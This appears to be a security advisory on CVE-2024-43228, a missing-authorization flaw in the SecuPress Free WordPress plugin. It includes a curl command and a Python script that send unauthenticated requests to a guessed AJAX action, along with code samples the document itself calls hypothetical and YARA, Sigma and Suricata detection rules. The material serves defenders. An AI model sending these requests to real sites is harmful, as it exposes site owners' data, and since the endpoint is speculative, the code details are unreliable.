CVE-2024-43228

Executive Summary

CVE-2024-43228 is a Missing Authorization vulnerability in the SecuPress Free WordPress plugin, affecting versions from n/a through 2.2.5.3. This flaw allows unauthenticated attackers to access certain functionality or data that should require higher privileges, due to missing capability checks on specific AJAX actions or REST endpoints. The vulnerability has a CVSS score of 5.3 (Medium), with a low impact on confidentiality but no impact on integrity or availability. As of the latest analysis, no public exploit code or patch details are available, and the EPSS score is 0.0%, indicating low exploitation likelihood in the wild.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed SecuPress Free from the WordPress dashboard or manually are at risk. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors leveraging this vulnerability in targeted attacks.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Base Score: 5.3 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: Medium. The vulnerability allows unauthenticated access to sensitive information but does not enable data modification or denial of service. Exploitation is straightforward but limited in impact.

Deep Dive & Mechanics

The vulnerability resides in the SecuPress Free plugin's AJAX handler or REST API endpoint that fails to enforce proper authorization checks. Specifically, the plugin registers several AJAX actions for both authenticated and unauthenticated users, but some actions intended for authenticated users lack a current_user_can() or similar capability check. This allows any unauthenticated visitor to trigger these actions and potentially retrieve sensitive data such as security logs, configuration details, or other internal plugin state.

The missing authorization is likely in functions hooked to wp_ajax_* or wp_ajax_nopriv_* actions. The nopriv prefix is used for unauthenticated requests, but if a developer mistakenly uses it for privileged actions, or if the capability check is omitted entirely, the endpoint becomes accessible to anyone.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on common WordPress authorization patterns.

Vulnerable Code (secupress.php or similar):

add_action('wp_ajax_nopriv_secupress_get_logs', 'secupress_get_logs');
function secupress_get_logs() {
    // No capability check
    $logs = get_option('secupress_logs');
    wp_send_json_success($logs);
}

Patched Code (hypothetical):

add_action('wp_ajax_secupress_get_logs', 'secupress_get_logs');
function secupress_get_logs() {
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized', 403);
    }
    $logs = get_option('secupress_logs');
    wp_send_json_success($logs);
}

The patched version moves the action to wp_ajax_* (authenticated only) and adds a capability check.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site with SecuPress Free <= 2.2.5.3 installed and activated.
• No authentication required.

Exploitation Steps:

1. Identify the vulnerable endpoint by analyzing the plugin's source code or using a fuzzer.
2. Send a crafted HTTP request to the vulnerable AJAX action.

Example Request (using curl):

curl -X POST 'http://target/wp-admin/admin-ajax.php' \
  -d 'action=secupress_get_logs'

Expected Response:

{"success":true,"data":"[sensitive log data]"}

Automation with Python:

import requests

target = "http://target/wp-admin/admin-ajax.php"
data = {"action": "secupress_get_logs"}
response = requests.post(target, data=data)
print(response.text)

Blue Team

Detection:

• Monitor for POST requests to /wp-admin/admin-ajax.php with action parameters starting with secupress_ from unauthenticated users.
• Look for anomalous access to plugin-specific AJAX actions that should require authentication.

Honeypot:

• Deploy a fake endpoint mimicking the vulnerable action to capture attacker behavior.

Indicators of Compromise (IOCs)

• Network:

  • POST requests to /wp-admin/admin-ajax.php with action=secupress_* from unauthenticated IPs.
  • Response containing plugin-specific data (e.g., logs, config) without authentication cookies.

• File System:

  • Presence of the SecuPress Free plugin directory at /wp-content/plugins/secupress/.
  • Modified or suspicious log files within the plugin's data directory.

• Logs:

  • WordPress debug log entries showing unauthorized access attempts to AJAX actions.
  • Web server access logs with 200 responses to /wp-admin/admin-ajax.php with action=secupress_* from unknown IPs.

Detection Engineering

YARA Rule

rule CVE_2024_43228_SecuPress_Missing_Auth {
    meta:
        description = "Detects SecuPress Free plugin files with missing authorization"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-43228"
    strings:
        $ajax_hook = /add_action\(['\"]wp_ajax_nopriv_secupress_/
        $no_cap = /current_user_can\(/
    condition:
        $ajax_hook and not $no_cap
}

Sigma Rule

title: CVE-2024-43228 - SecuPress Free Missing Authorization
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthenticated access to SecuPress AJAX actions
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'action=secupress_'
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate admin actions if misconfigured
level: medium

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2024-43228 - SecuPress Free Missing Authorization Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=secupress_"; http_client_body;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not critical to operations until a patch is released.
2. Implement a Web Application Firewall (WAF) rule to block unauthenticated requests to admin-ajax.php with action=secupress_* parameters.
3. Monitor logs for exploitation attempts.

Long-term Fix:

• Apply the official patch from SecuPress once released.
• If patching manually, add current_user_can() checks to all AJAX handlers in the plugin.

Workaround:

• Use a plugin like "Disable AJAX for Unauthenticated Users" to restrict AJAX access.

Valters IT Signature:

Valters IT
Senior DevSecOps Engineer
Cyber Threat Intelligence Expert